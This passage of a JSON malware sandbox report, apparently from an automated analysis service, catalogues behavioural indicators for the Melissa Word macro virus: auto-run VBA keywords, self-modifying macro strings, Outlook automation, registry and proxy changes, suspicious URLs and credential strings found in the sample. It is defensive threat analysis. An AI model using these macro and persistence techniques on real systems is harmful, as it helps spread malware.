Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-68","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"WINWORD.EXE\" searching for class \"MsoHelp10\"\n \"WINWORD.EXE\" searching for class \"AgentAnim\"\n \"WINWORD.EXE\" searching for class \"mspim_wnd32\"\n \"WINWORD.EXE\" searching for class \"MSOBALLOON\"\n \"OUTLOOK.EXE\" searching for class \"WMS ST Notif Class\"\n \"OUTLOOK.EXE\" searching for class \"rctrl_renwnd32\"\n \"OUTLOOK.EXE\" searching for class \"mspim_wnd32\"\n \"OUTLOOK.EXE\" searching for class \"rencat\"\n \"OUTLOOK.EXE\" searching for class \"Shell_TrayWnd\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"OUTLOOK.EXE\" with commandline \"-Embedding\" (UID: 00065678-00002404)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$26","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"Installation/Persistence","name":"Found a string that may be used as part of an injection method","description":"\"Shell_TrayWnd\" (Taskbar window class may be used to inject into explorer with the SetWindowLong method)","origin":"File/Memory","mitre_attack_id":"T1055","relevance":4,"id":"string-4","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"WINWORD.EXE\" opened \"\\Device\\MountPointManager\"\n \"OUTLOOK.EXE\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Scans for the windows taskbar (may be used for explorer injection)","description":"\"OUTLOOK.EXE\" searching for class \"Shell_TrayWnd\"","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-17","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$27","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$28","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"System Security","name":"Hooks API calls","description":"\"SysAllocStringByteLen@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantChangeType@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantClear@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"OleLoadFromStream@OLE32.DLL\" in \"WINWORD.EXE\"\n \"SysFreeString@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"SysAllocStringByteLen@OLEAUT32.DLL\" in \"OUTLOOK.EXE\"\n \"VariantChangeType@OLEAUT32.DLL\" in \"OUTLOOK.EXE\"\n \"VariantClear@OLEAUT32.DLL\" in \"OUTLOOK.EXE\"\n \"OleLoadFromStream@OLE32.DLL\" in \"OUTLOOK.EXE\"\n \"SetUnhandledExceptionFilter@KERNEL32.DLL\" in \"OUTLOOK.EXE\"\n \"SysFreeString@OLEAUT32.DLL\" in \"OUTLOOK.EXE\"","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"informative","category":"System Security","name":"Modifies proxy settings","description":"\"OUTLOOK.EXE\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"OUTLOOK.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"OUTLOOK.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"OUTLOOK.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"OUTLOOK.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$29","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Creates a resource fork (ADS) file (often used to hide data)","description":"\"OUTLOOK.EXE\" created file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Outlook\\RENMYI34\\LIST.DOC:Zone.Identifier\"","origin":"API Call","relevance":8,"id":"api-19","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"1/78 reputation engines marked \"http://www.powerflow.com/members/135798642.html\" as malicious (1% detection rate)\n 4/57 reputation engines marked \"http://www.cyberclub.com\" as malicious (7% detection rate)\n 1/78 reputation engines marked \"http://www.cyberclub.com/ignite/members\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"suspicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"53/64 Antivirus vendors marked dropped file \"LIST.DOC\" as malicious (classified as \"Melissa.A\" with 82% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Checks for a resource fork (ADS) file","description":"\"OUTLOOK.EXE\" checked file \"C:\"","origin":"API Call","relevance":5,"id":"api-35","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with interesting strings","description":"Found pattern type \"Executable file name\" with value: \"Outlook.Application\"","origin":"Static Parser","mitre_attack_id":"T1204","relevance":10,"id":"static-16","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with suspicious keywords","description":"Found suspicious keyword \"CreateObject\" which indicates: \"May create an OLE object\"\n Found suspicious keyword \"system\" which indicates: \"May run an executable file or a system command on a Mac (if combined with libc.dylib)\"\n Found suspicious keyword \"VBProject\" which indicates: \"May attempt to modify the VBA code (self-modification)\"\n Found suspicious keyword \"VBComponents\" which indicates: \"May attempt to modify the VBA code (self-modification)\"\n Found suspicious keyword \"CodeModule\" which indicates: \"May attempt to modify the VBA code (self-modification)\"\n Found suspicious keyword \"AddFromString\" which indicates: \"May attempt to modify the VBA code (self-modification)\"","origin":"Static Parser","mitre_attack_id":"T1204","relevance":10,"id":"static-15","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Spawns a process via DCOM","description":"Process \"OUTLOOK.EXE\" with commandline \"-Embedding\" (UID: 00065678-00002404) was spawned by \"%WINDIR%\\system32\\svchost.exe -k DcomLaunch\"","origin":"Monitored Target","relevance":10,"id":"target-104","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"53/64 Antivirus vendors marked sample as malicious (82% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"53/64 Antivirus vendors marked sample as malicious (82% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"malicious","category":"General","name":"Document spawns new processes","description":"Document spawned a new process (macro present)","origin":"Indicator Combinations","relevance":7,"id":"summary-3","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with keywords that indicate auto-execute behavior","description":"Found keyword \"Document_Close\" which indicates: \"Runs when the Word document is closed\"\n Found keyword \"Document_Open\" which indicates: \"Runs when the Word or Publisher document is opened\"","origin":"Static Parser","mitre_attack_id":"T1137","relevance":10,"id":"static-14","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded string that indicates auto-execute behavior","description":"Found keyword \"Document_Close\" which indicates: \"Runs when the Word document is closed\"\n Found keyword \"Document_Open\" which indicates: \"Runs when the Word or Publisher document is opened\"","origin":"File/Memory","relevance":10,"id":"string-20","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Renames files","description":"\"WINWORD.EXE\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\CVRA97E.tmp\" to \"%TEMP%\\CVRA97E.tmp.cvr\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Found URL in decoded VBA string","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"WINWORD.EXE\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00006344)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros (normalized)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1137","relevance":10,"id":"string-50","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"p=HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\9.0\\Word\\SecurityLevel %\"Security...Macro$$%&((wa=HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\9.0\\Word\\SecurityLevel ,\"aMacroTools$$%&(( *(,E *(.E *(0hxZ 8Outlook.Application$8.2MAPI 2%:.4,HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Melissa? %\"... by Kwyjibo 2Outlookprofilepassword 4B@< > 4!@!B > 4%@.D'F 2%H.6 J D!L!B F D%L'N N 6!PB@R F'F F2\" in Source: Melissa.doc, \"F D!L!B'Jg JImportant Message From V!X 6(TBHere is that document you asked for ... don't show anyone else ;-) 6(Z ^!` 6!\\B@R 6B@b'N > 4B@dh... by Kwyjibo,HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Melissa? ,\"hX ^!h!j%l.f p!h!j%l.n n!t!v'r f!t!v'x'z f!Melissa x\" in Source: Melissa.doc","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"General","name":"Intercepted relevant COM error","description":"\"WINWORD.EXE\" called \"Outlook.Application.14(\"GetNamespace\").Logon\"\n which returned the status code \"80020009\" (The system cannot locate the resource specified) ...","origin":"API Call","mitre_attack_id":"T1546.015","relevance":10,"id":"api-67","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$2b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"WINWORD.EXE\" called \"Outlook.Application.14.CreateObject\" ... \n \"WINWORD.EXE\" called \"Outlook.Application.14.GetNamespace\" with result: \"IDispatch\" ...\n \"WINWORD.EXE\" called \"Outlook.Application.14.Unnamed\" with result: \"Outlook\" ...\n \"WINWORD.EXE\" called \"Outlook.Application.14(\"GetNamespace\").Logon\" ... ","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"Melissa.doc\" was detected as \"MS Office 97-2003\" and name: \"Format\"\n \"Melissa.doc\" was detected as \"Microsoft Compound\" and name: \"Data\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\ADVAPI32.DLL\" [Source: 00000000-00006344-00000C28-2718759915]\n Observed system executable string:\"%WINDIR%\\system32\\KERNEL32.DLL\" [Source: 00000000-00006344-00000C28-2719281901]\n Observed system executable string:\"%WINDIR%\\system32\\mscoree.dll\" [Source: 00000000-00006344-00000C28-2719702447]\n Observed system executable string:\"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll\" [Source: 00000000-00006344-00000C28-2720910190]\n Observed system executable string:\"%WINDIR%\\system32\\version.dll\" [Source: 00000000-00006344-00000C28-2736934355]\n Observed system executable string:\"%WINDIR%\\system32\\kernel32.dll\" [Source: 00000000-00006344-00000C28-2737381583]\n Observed system executable string:\"%WINDIR%\\system32\\advapi32.dll\" [Source: 00000000-00006344-00000C28-2737435692]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"General","name":"Tries to open documents files","description":"\"WINWORD.EXE\" opens a file C:\\Melissa.doc (UID: 00000000-00006344)\n \"WINWORD.EXE\" opens a file C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Melissa.doc (UID: 00000000-00006344)\n \"WINWORD.EXE\" opens a file %APPDATA%\\Microsoft\\Office\\Recent\\Melissa.doc (UID: 00000000-00006344)","origin":"API Call","mitre_attack_id":"T1005","relevance":2,"id":"api-248","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"WINWORD.EXE\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\VBE\\MSForms.exd\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates/edits LNK file (Windows shortcut)","description":"\"WINWORD.EXE\" writes to LNK file \"%APPDATA%\\Microsoft\\Office\\Recent\\Melissa.doc.LNK\"","origin":"API Call","mitre_attack_id":"T1547.009","relevance":3,"id":"api-204","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens a handle to the specified process","description":"\"WINWORD.EXE\" opens a process \"C:\\Program Files\\Microsoft Office\\Office14\\WINWORD.EXE\" (UID: 00000000-00006344)\n \"WINWORD.EXE\" opens a process \"C:\\Windows\\explorer.exe\" (UID: 00000000-00006344)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-237","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$2e","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"WINWORD.EXE\" writes a file \"%APPDATA%\\Microsoft\\Office\\Recent\\index.dat\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 091f51a7a1c3a4504a224cc081ce9cee\n Observed JA3 fingerprint: 46f5131e766d248db0248a86c494b71c\n Observed JA3 fingerprint: 65005c9d9ae0f0ebeaf22c210571d482\n Observed JA3 fingerprint: 6a5d235ee78c6aede6a61448b4e9ff1e\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"level":"informative","category":"Network Related","name":"References server/domain address with port number","description":"Found ip/domain with port number \"http://members.flyntdigital.com:8080\"","origin":"Indicator Combinations","mitre_attack_id":"T1571","id":"summary-25","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"48.http://www.sexualeuphoria.com/members/index.html L:secret P:secret\" (Indicator: \"secret\"; File: \"Melissa.doc\")\n Found string \"68.http://www.18hardcore.com/secure/enter2.htm L:password P:password\" (Indicator: \"password\"; File: \"Melissa.doc\")\n file/memory contains long string with (Indicator: \"password\"; File: \"Melissa.doc\")\n Found string \"password\" (Indicator: \"password\"; File: \"screen_11.png\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"\"WINWORD.EXE\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\\{45F5205B-FA7A-11ED-8886-806E6F6E6963}\"; Key: \"ENABLEDHCP\"; Value: \"\")\n \"WINWORD.EXE\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\LANMANWORKSTATION\\PARAMETERS\"; Key: \"RPCCACHETIMEOUT\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$2f","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"Melissa.doc.LNK\" - Location: [%APPDATA%\\Microsoft\\Office\\Recent\\Melissa.doc.LNK]- [targetUID: 00000000-00006344]\n Dropped file: \"index.dat\" - Location: [%APPDATA%\\Microsoft\\Office\\Recent\\index.dat]- [targetUID: 00000000-00006344]\n Dropped file: \"CUSTOM.DIC\" - Location: [%APPDATA%\\Microsoft\\UProof\\CUSTOM.DIC]- [targetUID: 00000000-00006344]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Found URL in decoded VBA string","description":"Heuristic match: \"ADI1.Name\"\n Heuristic match: \"NTI1.Name\"\n Heuristic match: \"ActiveDocument.Name\"","origin":"File/Memory","relevance":10,"id":"string-18","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"suspicious","category":"General","name":"Found a potential E-Mail address in binary/memory","description":"Pattern match: \"manioc@innocent.com\"\n Pattern match: \"minesw@gon.typetpptwy\"\n Pattern match: \"zpf3d459962-e1b4-11d@2-9ebaf4033e0078ef3.twd\"\n Pattern match: \"elen@contoso.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: msoffice/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"General","name":"Opened the service control manager","description":"\"OUTLOOK.EXE\" called \"OpenSCManager\" requesting access rights \"0X0\"","origin":"API Call","mitre_attack_id":"T1035","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"sigdetHashAlgorithmW\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00001428.00000000.76146.142C3000.00000002.mdmp, 00000000-00001428.00000001.78069.142C3000.00000002.mdmp, 00000000-00001428.00000002.79989.142C3000.00000002.mdmp\")\n Found reference to \"0%!sigprovdetHashAlgorithmW\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00001428.00000000.76146.142C3000.00000002.mdmp, 00000000-00001428.00000001.78069.142C3000.00000002.mdmp, 00000000-00001428.00000002.79989.142C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"$30","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"Cryptographic Related","name":"Found XOR operators (encryption/decryption)","description":"Found string \"& ( 2 9 < D ^ p t\" (Indicator: \" ^ \"; Source: \"00000000-00001428.00000000.76146.04C80000.00000004.mdmp, 00000000-00001428.00000001.78069.04C80000.00000004.mdmp, 00000000-00001428.00000002.79989.04C80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"Cryptographic Related","name":"Uses bzip2 compression library to compress data","description":"Found CRC table used in bzip2 compression \"00000000-00001428.00000000.76146.5E891000.00000020.mdmp\" at offset 5620; code bytes = b71dc1046e3b8209d926430ddc7604136b6bc517b24d861a0550471eb8ed08260ff0c922d6d68a2f61cb4b2b649b0c35d386cd310aa08e3cbdbd4f3870db114cc7c6d0481ee09345a9fd5241acad155f1bb0d45bc2969756758b5652c836196a7f2bd86ea60d\n Found CRC table used in bzip2 compression \"00000000-00001428.00000001.78069.5E891000.00000020.mdmp\" at offset 5620; code bytes = b71dc1046e3b8209d926430ddc7604136b6bc517b24d861a0550471eb8ed08260ff0c922d6d68a2f61cb4b2b649b0c35d386cd310aa08e3cbdbd4f3870db114cc7c6d0481ee09345a9fd5241acad155f1bb0d45bc2969756758b5652c836196a7f2bd86ea60d\n Found CRC table used in bzip2 compression \"00000000-00001428.00000002.79989.5E891000.00000020.mdmp\" at offset 5620; code bytes = b71dc1046e3b8209d926430ddc7604136b6bc517b24d861a0550471eb8ed08260ff0c922d6d68a2f61cb4b2b649b0c35d386cd310aa08e3cbdbd4f3870db114cc7c6d0481ee09345a9fd5241acad155f1bb0d45bc2969756758b5652c836196a7f2bd86ea60d","origin":"Memory Dumps","mitre_attack_id":"T1560.002","relevance":3,"id":"memorydump-20","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform GET/POST network requests (xmlhttp)","description":"Found string \"Msxml2.XMLHTTP.5.0\" (Indicator: \"msxml2.xmlhttp\"; Source: \"00000000-00001428.00000000.76146.00B90000.00000002.mdmp, 00000000-00001428.00000001.78069.00B90000.00000002.mdmp, 